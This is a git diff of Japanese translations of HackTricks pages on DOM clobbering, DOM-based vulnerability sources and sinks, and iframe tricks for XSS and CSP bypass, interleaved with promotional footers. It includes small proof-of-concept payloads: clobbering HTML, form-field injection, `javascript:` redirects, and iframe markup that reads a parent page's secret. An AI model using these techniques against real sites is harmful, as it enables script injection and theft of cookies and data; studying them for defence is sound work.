> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性と空でない[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持ち、[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)内にある、空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性と空でない[name](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性を持つ[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)要素の[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値。
このテクニックを使用すると、`document.cookie`、`document.body`、`document.children`などの一般的に使用される**値を上書き**することができ、Documentインターフェースのメソッドである`document.querySelector`なども上書きできます。
このテクニックを使用すると、**`document.cookie`、`document.body`、`document.children`**などの一般的に使用される**値を上書き**することができます。また、Documentインターフェースの`document.querySelector`などのメソッドも上書きできます。
```javascript
document.write("<img name=cookie />")
@ -162,7 +162,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
SVGへの調査から、`<body>` タグも効果的に利用できることが明らかになりました
SVGへの調査から、`<body>` タグも効果的に利用できることが明らかになりました:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +170,7 @@ SVGへの調査から、`<body>` タグも効果的に利用できることが
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
HTMLタグがChromeやFirefoxなどのブラウザでSVG内で機能するためには、`<foreignobject>`タグが必要です:
以下は、ChromeやFirefoxなどのブラウザでSVG内でHTMLタグを機能させるためには、`<foreignobject>`タグが必要です:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -184,7 +184,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
```
## フォームのクロバリング
いくつかのタグ内で`form`属性を指定することで、フォーム内に新しいエントリを追加することが可能です。これを使用してフォーム内に新しい値を追加したり、新しいボタンを追加してそれを送信することさえできます(clickjackingまたは`.click()` JSコードを悪用する)。
いくつかのタグ内で`form`属性を指定することで、フォーム内に新しいエントリを追加することが可能です。これを使用してフォーム内に新しい値を追加したり、新しいボタンを追加してそれを送信することさえできます(クリックジャッキングまたは`.click()` JSコードを悪用)。
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
@ -208,10 +208,10 @@ Click to send!
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -4,25 +4,25 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
## DOM脆弱性
## DOM脆弱性
DOM脆弱性は、攻撃者が制御する**ソース**`location.search`、`document.referrer`、`document.cookie`など)からのデータが安全でない状態で**シンク**に転送されると発生します。シンクは、悪意のあるデータが与えられると有害なコンテンツを実行またはレンダリングできる関数またはオブジェクト(例:`eval()`、`document.body.innerHTML`)です。
DOM脆弱性は、攻撃者が制御する**ソース**`location.search`、`document.referrer`、`document.cookie`など)からのデータが安全でない状態で**シンク**に転送されると発生します。シンクは、悪意のあるデータが与えられると有害なコンテンツを実行またはレンダリングできる関数またはオブジェクト(例:`eval()`、`document.body.innerHTML`)です。
- **ソース**は、攻撃者によって操作できる入力であり、URL、クッキー、Webメッセージなどが含まれます。
- **ソース**は、攻撃者によって操作可能な入力であり、URL、クッキー、Webメッセージなどが含まれます。
- **シンク**は、スクリプトの実行などの有害なデータが悪影響をもたらす可能性のある危険なエンドポイントです。
データが適切な検証やサニタイズなしにソースからシンクに流れると、XSSなどの攻撃が可能になります。
{% hint style="info" %}
**ソースとシンクのより最新のリストは、** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **で見つけることができます。**
**より最新のソースとシンクのリストは、** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **で見つけることができます。**
{% endhint %}
**一般的なソース:**
@ -70,15 +70,15 @@ Database
| **\`\`**[**HTML5ストレージ操作**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**XPathインジェクション**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`サービス拒否`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie操作**](dom-xss.md#cookie-manipulation) |
| **``**[**`サービス拒否`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**クッキー操作**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**ドキュメントドメイン操作**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URLポイズニング**](dom-xss.md#websocket-url-poisoning) |
| [**クライアントサイドSQLインジェクション**](dom-xss.md#client-side-sql-injection) | [**Webメッセージ操作**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` |
**`innerHTML`** シンクは、現代のブラウザでは `script` 要素を受け入れず、`svg onload` イベントも発火しません。そのため、`img` や `iframe` のような代替要素を使用する必要があります。
**`innerHTML`** シンクは、現代のブラウザでは `script` 要素を受け入れず、`svg onload` イベントも発生しません。これは、`img` や `iframe` のような代替要素を使用する必要があることを意味します。
この種のXSSはおそらく**最も見つけにくい**ものであり、JSコードの内部を調べ、制御可能なオブジェクトを**使用**しているかどうかを確認し、その場合は任意のJSを実行する方法があるかどうかを見る必要があります。
この種のXSSはおそらく**最も見つけにくい**ものであり、JSコードの内部を調べ、制御可能なオブジェクトを使用しているかどうかを確認し、その場合は任意のJSを実行する方法があるかどうかを見る必要があります。
## これらを見つけるためのツール
@ -90,7 +90,7 @@ Database
From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
**DOM内のオープンリダイレクト脆弱性**は、スクリプトが、攻撃者が制御できるデータを、異なるドメイン間でのナビゲーションを開始できるシンクに書き込む場合に発生します。
**DOM内のオープンリダイレクト脆弱性**は、スクリプトが、攻撃者が制御できるデータを書き込み、ドメイン間でのナビゲーションを開始できるシンクに発生します。
リダイレクションが発生するURLの先頭を制御できる場合、**`javascript:alert(1)`**などの任意のコードを実行できることを理解することが重要です。
@ -116,7 +116,7 @@ $.ajax()
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
DOMベースのCookie操作の脆弱性は、スクリプトが攻撃者によって制御可能なデータをクッキーの値に組み込む場合に発生します。この脆弱性により、クッキーがサイト内で使用される場合、ウェブページの予期しない動作が発生する可能性があります。さらに、クッキーがユーザーセッションを追跡するために使用される場合、セッション固定攻撃を実行するために悪用される可能性があります。この脆弱性に関連する主要なシンクは次のとおりです:
DOMベースのクッキー操作の脆弱性は、スクリプトが攻撃者によって制御可能なデータをクッキーの値に組み込む場合に発生します。この脆弱性により、クッキーがサイト内で使用される場合、ウェブページの予期しない動作が発生する可能性があります。さらに、クッキーがユーザーセッションを追跡するために使用される場合、セッション固定攻撃を実行するために悪用される可能性があります。この脆弱性に関連する主要なシンクは次のとおりです:
シンク:
```javascript
@ -147,7 +147,7 @@ From: [https://portswigger.net/web-security/dom-based/document-domain-manipulati
**ドキュメントドメインの操作に関する脆弱性** は、スクリプトが攻撃者が制御できるデータを使用して `document.domain` プロパティを設定すると発生します。
`document.domain` プロパティは、ブラウザによる **同一オリジンポリシー** **強制** において **重要な役割** を果たします。異なるオリジンからの2つのページがそれぞれ `document.domain`**同じ値** に設定すると、制限なしに相互作用できます。ブラウザは `document.domain` に割り当て可能な値に一定の **制限** を課しており、実際のページのオリジンに完全に関連のない値の割り当てを防いでいますが、例外が存在します。通常、ブラウザは **子ドメイン** または **親ドメイン** の使用を許可します。
`document.domain` プロパティは、ブラウザによる **同一オリジンポリシーの強制** において **重要な役割** を果たします。異なるオリジンからの2つのページがそれぞれ `document.domain`**同じ値** に設定すると、制限なしに相互作用できます。ブラウザは、`document.domain` に割り当て可能な値に一定の **制限** を課しており、実際のページのオリジンに完全に関連のない値の割り当てを防いでいますが、例外が存在します。通常、ブラウザは **子ドメイン** または **親ドメイン** の使用を許可します。
シンク:
```javascript
@ -157,17 +157,17 @@ document.domain
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
**WebSocket-URL poisoning** occurs when a script utilizes **controllable data as the target URL** for a WebSocket connection.
**WebSocket-URL poisoning**は、スクリプトがWebSocket接続のターゲットURLとして**制御可能なデータを利用**する場合に発生します。
Sinks:
The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities.
`WebSocket`コンストラクタは、WebSocket-URLポイズニングの脆弱性につながる可能性があります。
### Link manipulation
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
**DOM-based link-manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.
**DOMベースのリンク操作の脆弱性**は、スクリプトが**攻撃者が制御可能なデータを現在のページ内のナビゲーションターゲット**クリック可能なリンクやフォームの送信URLなどに書き込む場合に発生します。
Sinks:
```javascript
@ -193,7 +193,7 @@ $.globalEval()
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
**ローカルファイルパスの操作の脆弱性** は、スクリプトが `filename` パラメータとして **攻撃者が制御可能なデータをファイル処理APIに渡す** 場合に発生します。この脆弱性は、攻撃者がURLを構築して悪用することができ、別のユーザーがそのURLを訪れると、**ユーザーのブラウザが任意のローカルファイルを開いたり書き込んだり** する可能性があります。
**ローカルファイルパスの操作の脆弱性** は、スクリプトが`filename`パラメータとして**攻撃者が制御可能なデータをファイル処理APIに渡す**場合に発生します。この脆弱性は、攻撃者がURLを構築して他のユーザーが訪れると、**ユーザーのブラウザが任意のローカルファイルを開いたり書き込んだりする**可能性があります。
シンク:
```javascript
@ -209,19 +209,19 @@ FileReader.root.getFile()
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
**クライアントサイドSQLインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータを安全でない方法でクライアントサイドSQLクエリに組み込む**場合に発生します。
**クライアントサイドSQLインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータを安全でない方法でクライアントサイドSQLクエリに組み込む**ときに発生します。
シンク:
Sinks:
```javascript
executeSql()
```
### HTML5-storage manipulation
### HTML5ストレージの操作
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
**HTML5ストレージ操作の脆弱性**は、スクリプトが攻撃者が制御可能なデータをWebブラウザのHTML5ストレージ`localStorage`または`sessionStorage`に保存するときに発生します。この行動自体はセキュリティ上の脆弱性ではありませんが、アプリケーションがその後その保存されたデータを安全でない方法で処理すると問題が発生します。これにより、攻撃者がストレージメカニズムを利用して、クロスサイトスクリプティングやJavaScriptインジェクションなどの他のDOMベースの攻撃を実行する可能性があります。
**HTML5ストレージの操作に関する脆弱性** は、スクリプトが攻撃者が制御可能なデータをWebブラウザのHTML5ストレージ`localStorage`または`sessionStorage`に保存するときに発生します。この行動自体はセキュリティ上の脆弱性ではありませんが、アプリケーションがその後その保存されたデータを安全でない方法で処理すると問題が発生します。これにより、攻撃者がストレージメカニズムを利用して、クロスサイトスクリプティングやJavaScriptインジェクションなどの他のDOMベースの攻撃を実行する可能性があります。
Sinks:
シンク:
```javascript
sessionStorage.setItem()
localStorage.setItem()
@ -253,17 +253,19 @@ $.parseJSON()
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
**Webメッセージの脆弱性**は、スクリプトが**攻撃者が制御可能なデータをブラウザ内の別のドキュメントにWebメッセージとして送信する**場合に発生します。脆弱なWebメッセージの操作の**例**は、[PortSwiggerのWebセキュリティアカデミー](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)で見つけることができます。
**Webメッセージの脆弱性** は、スクリプトがブラウザ内の別のドキュメントに**攻撃者が制御可能なデータをWebメッセージとして送信する**場合に発生します。脆弱なWebメッセージの操作の**例**は、[PortSwiggerのWebセキュリティアカデミー](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)で見つけることができます。
シンク:
`postMessage()`メソッドを使用してWebメッセージを送信すると、メッセージを受信するためのイベントリスナーが受信したデータを安全でない方法で処理すると脆弱性が発生する可能性があります。
`postMessage()`メソッドを使用してWebメッセージを送信すると、メッセージを受信するためのイベントリスナーが受信したデータを安全でない方法で処理すると脆弱性が発生する可能性があります。
### DOMデータの操作
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
**DOMデータの操作の脆弱性**は、スクリプトが**DOM内のフィールドに攻撃者が制御可能なデータを書き込む**場合に発生します。この脆弱性は、攻撃者が別のユーザーが訪れると、クライアントサイドUIの外観や動作を変更できるURLを構築することができます。
**DOMデータの操作の脆弱性** は、スクリプトがUIやクライアントサイドロジックで使用されるDOM内のフィールドに**攻撃者が制御可能なデータを書き込む**場合に発生します。この脆弱性は、攻撃者が別のユーザーが訪れると、クライアントサイドUIの外観や動作を変更できるURLを構築することができます。
シンク:
```javascript
scriptElement.src
scriptElement.text
@ -292,7 +294,7 @@ history.replaceState()
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
**DOMベースのサービス拒否の脆弱性**は、スクリプトが**攻撃者が制御可能なデータを安全でない状態で問題のプラットフォームAPIに渡す**ときに発生します。これには、呼び出されるとユーザーのコンピューターが**過剰なCPUやディスクスペースを消費**する可能性があるAPIが含まれます。このような脆弱性には、ブラウザが`localStorage`にデータを保存しようとする試みを拒否したり、ビジーなスクリプトを終了したりすることで、重大な副作用が発生する可能性があります。
**DOMベースのサービス拒否の脆弱性**は、スクリプトが**攻撃者が制御可能なデータを安全でない方法で問題のあるプラットフォームAPIに渡す**ときに発生します。これには、呼び出されるとユーザーのコンピューターが**過剰なCPUやディスクスペースを消費する可能性があるAPI**が含まれます。このような脆弱性には、ブラウザが`localStorage`にデータを保存しようとする試みを拒否したり、ビジーなスクリプトを終了したりすることで、重大な副作用が発生する可能性があります。
シンク:
```javascript
@ -309,10 +311,10 @@ RegExp()
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details>

View file

@ -1,24 +1,24 @@
# XSS、CSP、およびSOPにおけるiframes
# XSS、CSP、SOPにおけるiframes
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れま
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローします。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有する**ために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details>
## XSSにおけるiframes
iframedページのコンテンツを示す方法は3つあります
iframedページの内容を示す方法は3つあります
* `src`を使用してURLを示すURLはクロスオリジンまたは同一オリジンである可能性があります
* `data:`プロトコルを使用してコンテンツを示す`src`を介して
* `srcdoc`を使用してコンテンツを示す
* コンテンツを示す`srcdoc`を使用して
```html
<html>
<script>
@ -49,17 +49,17 @@ var secret="child secret";
alert(parent.secret)
</script>
```
前のHTMLにHTTPサーバー経由でアクセスすると`python3 -m http.server`のように、すべてのスクリプトが実行されることに気づくでしょうCSPがそれを防いでいないため。**親は任意のiframe内の`secret`変数にアクセスできません**、そして**元のウィンドウ内の秘密にアクセスできるのはif2とif3のみ同一サイトと見なされる**です。\
前のHTMLにHTTPサーバー経由でアクセスすると`python3 -m http.server`のように、すべてのスクリプトが実行されることに気づくでしょうCSPがそれを防いでいないため。**親は任意のiframe内の`secret`変数にアクセスできない**ことに注意し、**元のウィンドウ内の秘密にアクセスできるのはif2とif3のみ同一サイトと見なされる**です。\
if4が`null`オリジンであると見なされることに注目してください。
### CSP付きのiframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %}
以下のバイパスで、iframedページへの応答にJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。
のバイパスで、iframedページへの応答にJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。
{% endhint %}
`script-src`の`self`値は、`data:`プロトコルや`srcdoc`属性を使用したJSコードの実行を許可しません。\
しかし、CSPの`none`値でも、`src`属性にURL完全なものまたはパスのみを設定するiframeの実行を許可します。\
ただし、CSPの`none`値でも、`src`属性にURL完全なものまたはパスのみを設定するiframeの実行を許可します。\
したがって、ページのCSPをバイパスすることが可能です
```html
<html>
@ -75,12 +75,12 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
注意:**前のCSPはインラインスクリプトの実行のみを許可しています**。\
前のCSPは、**インラインスクリプトの実行のみを許可している**ことに注意してください。\
ただし、**`if1`と`if2`スクリプトのみが実行されますが、`if1`だけが親の秘密にアクセスできます**。
![](<../../.gitbook/assets/image (627) (1) (1).png>)
したがって、**サーバーにJSファイルをアップロードしてiframe経由でロードできる場合、`script-src 'none'`でさえもCSPをバイパスすることが可能です**。これは**同一サイトのJSONPエンドポイントを悪用しても実現可能です**。
したがって、**サーバーにJSファイルをアップロードしてiframe経由でロードできる場合、`script-src 'none'`でさえもCSPをバイパスすることが可能**です。これは**同一サイトのJSONPエンドポイントを悪用することでも実現できます**。
次のシナリオでこれをテストできます。`script-src 'none'`でもクッキーが盗まれる可能性があります。アプリケーションを実行し、ブラウザでアクセスしてください:
```python
@ -113,20 +113,20 @@ app.run()
```
### Iframe sandbox
`sandbox`属性を使用することで、iframe内のコンテンツに追加の制限を設けることができます。デフォルトでは、この属性は適用されず、制限はありません。
iframe内のコンテンツは、`sandbox`属性を使用して追加の制限を受ける可能性があります。デフォルトでは、この属性は適用されず、制限はありません。
`sandbox`属性を使用すると、いくつかの制限が課せられます:
`sandbox`属性を使用すると、いくつかの制限が課されます。
- コンテンツは一意のソースから発信されたものとして扱われます。
- フォームの送信を試みるとブロックされます。
- フォームの送信試行はブロックされます。
- スクリプトの実行が禁止されます。
- 特定のAPIへのアクセスが無効になります。
- リンクが他のブラウジングコンテキストとやり取りするのを防ぎます。
- `<embed>`、`<object>`、`<applet>`などのタグを介したプラグインの使用が禁止されます
- コンテンツ自体によるトップレベルブラウジングコンテキストのナビゲーションが防止されます。
- `<embed>`、`<object>`、`<applet>`などのタグを介したプラグインの使用は許可されません
- コンテンツ自体によるコンテンツのトップレベルブラウジングコンテキストのナビゲーションが防止されます。
- 動画再生やフォームコントロールの自動フォーカスなど、自動的にトリガーされる機能がブロックされます。
属性の値は空にしておくこともできます (`sandbox=""`) すべての前述の制限が適用されます。また、特定の値のスペース区切りリストに設定することで、特定の制限からiframeを除外することもできます。
属性の値は空白にしておくことができます(`sandbox=""`、これにより前述の制限がすべて適用されます。また、特定の制限からiframeを除外するために、スペースで区切られた特定の値のリストに設定することもできます。
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
@ -149,15 +149,3 @@ app.run()
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
